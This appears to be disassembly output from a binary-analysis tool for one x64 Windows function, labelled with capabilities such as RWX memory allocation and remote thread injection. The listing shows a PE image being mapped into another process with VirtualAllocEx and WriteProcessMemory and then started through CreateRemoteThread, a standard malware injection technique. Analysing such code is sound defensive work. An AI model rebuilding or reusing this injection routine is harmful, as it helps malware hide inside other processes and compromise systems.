Function at 0x140021780
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x14006e060]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r15d, r15d
mov qword [r11 - 0x60], rax
mov rdi, rcx
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [r11 - 0x68], rax
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
mov qword [r11 - 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov qword [r11 - 0x48], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [r11 - 0x40], rax
mov eax, 0x5a4d
cmp word [0x1400c24b0], ax
mov qword [r11 - 0x58], r15
jne 0x140021934
movsxd rsi, dword [0x1400c24ec]
lea r12, [0x1400c24b0]
add rsi, r12
mov eax, 0x8664
cmp word [rsi + 4], ax
jne 0x140021934
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x140021869
mov r8d, dword [rsi + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140021934
movzx ebx, word [rsi + 0x14]
mov ebp, r15d
add rbx, 0x2c
cmp word [rsi + 6], bp
je 0x1400218b6
add rbx, rsi
nop dword [rax]
mov eax, dword [rbx - 4]
test eax, eax
je 0x1400218a8
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r12
add rdx, r14
mov qword [rsp + 0x20], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14002191f
movzx eax, word [rsi + 6]
inc ebp
add rbx, 0x28
cmp ebp, eax
jne 0x140021880
movups xmm0, xmmword [rsp + 0x40]
mov r9d, 0x1000
mov r8, r12
movups xmm1, xmmword [rsp + 0x50]
mov rdx, r14
mov rcx, rdi
movaps xmmword [0x1400c24b0], xmm0
movups xmm0, xmmword [rsp + 0x60]
mov qword [rsp + 0x20], r15
movaps xmmword [0x1400c24c0], xmm1
movaps xmmword [0x1400c24d0], xmm0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140021934
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3d1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x14002195f
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140027820
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov r9d, 0x3d1
mov qword [rsp + 0x20], r15
lea r8, [0x1403a76b0]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140021934
mov qword [rsp + 0x30], r15
mov r9, rsi
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbp, rax
test rax, rax
jne 0x1400219d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
jmp 0x14002192b
mov r9d, 0x30
mov qword [rsp + 0x50], r15
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], r15
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rsp + 0x50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x1400219d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140021936